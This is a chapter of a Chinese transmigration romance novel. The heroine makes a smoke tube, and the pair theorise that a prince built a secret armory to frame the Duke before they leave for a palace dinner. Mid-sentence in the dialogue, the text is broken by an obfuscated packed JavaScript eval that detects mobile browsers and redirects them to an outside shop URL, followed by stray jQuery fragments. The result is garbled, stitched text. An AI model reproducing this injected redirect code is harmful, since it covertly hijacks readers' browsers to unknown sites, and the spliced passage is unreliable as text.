20.第 20 章

作品:《穿书后,废太子他总在崩人设

    等窈娘离开,洛鸢从床上爬起来,疲惫地坐在书桌旁,将防水盒子里的原料取出,用手来回拨弄几下,准备紧急制作红烟筒。


    “松香二两,黄丹一两,沥青八分,硝火......是多少来着?”她歪着脑袋,使劲搜寻脑海中的知识。


    萧烬托着下巴,感叹:“话说,你的知识面够广的,居然连战场上的东西都懂得一些。”


    “不是一些,是很多,much、more、most。”洛鸢翻白眼。


    对古今中外各种武器的熟练掌握和运用,也是一个顶级杀手必须具备的素质。


    萧烬:“......牛叉。不过你不是格斗教练吧?”


    他又在试探她。


    “你这是歧视,哪条法律条文规定,格斗教练不能学这些?过来,你帮我将这些东西碾成细粉。”洛鸢在心里骂骂咧咧几句,将一堆原料推到他眼前。


    两人鼓捣半天,最后洛鸢将粉末拌和成药粉,在削好的粗竹筒中压实,一枚粗糙的红烟筒就算做成了。


    洛鸢加大了药粉的份量,只要明日宴席上出现危险,她便可以点燃烟筒,到时红色浓烟弥漫开来,她就可以和萧烬趁乱逃跑了。


    入夜,两人并排躺在榻上,中间的三八杠竹竿依旧坚/挺。


    萧烬翻来覆去,终于忍不住问道:“你还没告诉我,你下午到底有什么发现?”


    洛鸢将双手枕在脑袋下面,玩笑道:“睡着了,明天说。”


    萧烬心里一急,从床上噌地坐起来。


    他等不到明天了,若不能立即知晓内情,那今晚指定睡不着了。


    “这事吧......嗯,有点复杂......”洛鸢故意卖关子。


    萧烬面色委屈。


    洛鸢闭上眼睛,偷笑:“好吧好吧,告诉你就是了。”


    说到这儿,洛鸢一秒兴奋,紧跟着坐起来,神色激动:“镇国公竟然果真将密室的入口设在了人工湖底下。被一群水草和石块遮掩,我来来回回换气十几趟才看出端倪。”


    “从入口进去,紧跟着是一条细长的甬道......然后一座大石门......里面堆满了数不清的军械器具,还有火药、硝石......后来,我......”


    洛鸢说得口干舌燥,萧烬一整个听傻了。


    “原来舅舅这么厉害,居然能想到将入口设在水底。”


    洛鸢想了一会儿,又犯起了愁:“我搞不明白的是,国舅藏这些东西做什么?不会真的想要造反吧?”


    但这件事又存在很多矛盾的地方。


    书房里那些满腔赤诚的书信和自省,一字字、一句句,分明昭示着,赫赫有名的忠武大将军兼镇国公,是一个良臣和忠臣!


    但这密室又是怎么回事。


    洛鸢望向萧烬,希望能从他那里得到一点答案,“密室的事情是你告诉我的,所以关于它的由来,你应该知道的吧。是国舅告诉你的?还是,他亲自带你去过?或者,你曾听别人提起过?”


    萧烬语塞,片刻后矢口否认:“这个我真记不清楚了——从我在这个世界有印象起,那个密室好像就已经存在......”


    洛鸢无语:“忘事精。”


    她突然想到什么,大惊:“那有没有可能,这是梁王的杰作?而国舅对这件事根本就不知情!”


    “也就是说,先前梁王和苏相一直想蓄谋造反,于是利用朝廷帮忙改扩建将军府的契机,买通工匠打造了这座密室,之后偷偷在里面储存军用物资。若没被揭穿自然甚好,但一旦被发现,他们就完全可以将这件事毫不费力地全部推到国舅头上......证据确凿,到时国舅无可辩驳啊!”


    “这完全就是一盘稳赢局。”


    萧烬震惊到张大嘴巴,半晌后感叹:“你这脑回路,不去写剧本真是可惜了。”


    洛鸢尬笑:“嗐!咱们如今既然把梁王当成第一反派,自然要试着朝他十恶不赦的方向思考剧情啊。你就说,我刚才讲的有没有道理?”


    萧烬频频点头:“你别说,我还真被你这个离谱的猜想搞兴奋了......如果真是梁王所为,那很多事情就可以解释通了。比如,当时梁王为何力谏陛下,坚持要给舅舅扩建府邸。”


    “那时舅舅觉得这一举动太过招摇,生怕太过高调引百官微词,功高盖主引陛下忌惮,所以一直拒绝这一提议。但梁王却始终坚持,说是朝廷应厚待忠臣良将,不要让在前方卖命的将士们寒心......”


    “梁王这番话,当时看来确实很有道理。既能达成自己的目的,还能顺带给自己博一个体恤武将的美名。靠!我就说他没这么好心......”


    洛鸢也陷入了深思。


    许久,她提醒道:“若真是梁王做的,那湖底的入口只是个到时用来污蔑国舅的幌子,一定还存在另一个入口!他们会继续利用那个入口往里面储备谋逆物资!”


    “而如今镇国公府已经废弃,更加不会有人发现他们的秘密了!”


    天呐,简直打开了新思路!


    两人这下彻底睡不着了,脑海中清醒地不能再清醒,索性爬起来,跑到桌子旁双双嗑起了瓜子。


    洛鸢吐口瓜子皮,笑道:“我觉得,这事吧,就属于螳螂捕蝉,黄雀在后,咱俩就是黄雀。不管这满满一密室的物资是谁的,现在,都是我们的了。”


    “那老东西要把咱们逼急了,就炸了他丫的。看谁狠?!”


    萧烬:“......没错,你确实比我狠。”


    洛鸢冷笑:“我反正豁出去了,为了完成任务佛挡杀佛、魔挡杀魔,反正书里的世界都是假的,没必要瞻前顾后。哎呀,差点忘了件大事,你去帮我把针线盒拿过来,我还得做点裁缝。”


    萧烬无奈起身,边走边嘀咕:“真是倒反天罡......”但他还是乖乖将针线取了来。


    洛鸢拎出明日要穿的衣裳,在袖口内侧封上一个小小的布袋,这里是用来装银针的。又在腰间缝了一个类似飘带的东西,这里,是用来遮掩红烟筒的。


    把这些事情做完后,她总算彻彻底底松了一口气。


    接下来,就等着正面迎战了。


    次日,窈娘严阵以待,带领几个新添的婢子给他们洗漱、沐浴和穿着打扮。洛鸢和萧烬顶着黑眼圈,哈欠连天。


    窈娘轻咳几声,委婉地指责:“年轻人血气方刚,这个老奴能理解。但今日陛下要召见,理应养足精神才是。殿下和王妃何妨不换个时间,为什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756291|187941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么非得事赶事地折腾......”


    洛鸢:“......”


    萧烬:“......”


    “你——我——”两人面面相觑,双双羞红了脸。


    没有的事!


    窈娘话锋一转,脸上又浮起笑意:“不过,是该添个孩子了,让咱们这冷清院子也热闹热闹。到时陛下见到孙子,说不定心一软,就原谅殿下了......哎。”


    “再说,趁着老奴身体结实,还能帮你们带带小殿下。”


    洛鸢做出一个双臂交叉的手势:“可以了——可以了,嘻嘻。窈娘,这事,咱们以后再议。”


    萧烬满脸尴尬,干咳两声:“窈娘啊,你去看看粥熬好了没有?别人弄的我不放心。”


    窈娘立即停下手中的活,赶忙应声:“欸,好、好、老奴这就去瞧瞧。”她喜欢被萧烬需要的感觉。


    洛鸢摊摊手:“见鬼了,居然被催生了。”


    萧烬也无奈地耸耸肩:“谁说不是,本太子居然被催生了。”


    “呃,说过多少遍了,是前太子。”


    “屁!明明是未来太子!”


    好无聊的争论——


    陛下的晚膳定在未时正,还没到出门的时辰,李内官和几个小太监便提前过来候着了,卖惨二人组在内间精心地“梳妆打扮”。


    洛鸢裹上一件宽松的中衣,然后再套上那件提前缝制好的“武器战袍”,坐在铜镜前,描了一个惨兮兮的妆。


    看起来双颊瘦削,面上没什么血色,眼眶微微发黑,给人一种很命苦的感觉。


    萧烬早已瘫到了轮椅上,他也没好看到哪儿去,嘴唇煞白煞白的,眼神空洞呆滞。


    他歪着头,冲洛鸢玩笑道:“就咱俩现在这副尊荣,我自己看了都想笑,真怕那老东西到时把饭喷出来。”


    洛鸢一边松弛感拉满地往脸上涂着白粉,一边讪笑:“便宜他了,呛死才好呢。”


    许是侯得不耐烦,李暮山差窈娘进屋催了好几次,二人组这才磨磨叽叽从房内出来。


    洛鸢躬躬身子:“抱歉,让李内官久等了。”


    李暮山翻个白眼:“无妨——今日您二位是贵客,陛下派老奴亲自过来请你们,能看出陛下的用心吧?”


    “劝二位过会在陛下面前体面一些,不要惹他老人家生气。”


    这摆明了暗戳戳骂他俩上不了台面。


    萧烬闭眼,装聋哑人。


    洛鸢弯弯眼角:“请李内官放心,殿下和妾身一定谨守礼仪,不会乱来的。”


    那必然要会乱来的。


    走着走着,洛鸢发现不对,她偷瞄萧烬一眼,疑惑道:“李内官,这不是去勤政殿的路吧?”


    李暮山狡黠一笑:“王妃好眼力,咱们今日不去勤政殿,而是去丽贵妃娘娘的披香殿。”


    洛鸢心里一紧,下意识拽紧袖口处的银针,随时准备出击。


    李暮山略微一愣,甩了甩拂尘:“哎呀,都怪老奴不好,没提前告诉二位,是陛下临时将地方改到披香殿的,想着好不容易有这个机会,正好一家人一起聚一聚。”


    “一家人?哼。”萧烬冷笑,“那梁王也会来?”


    李暮山点头:“正是。”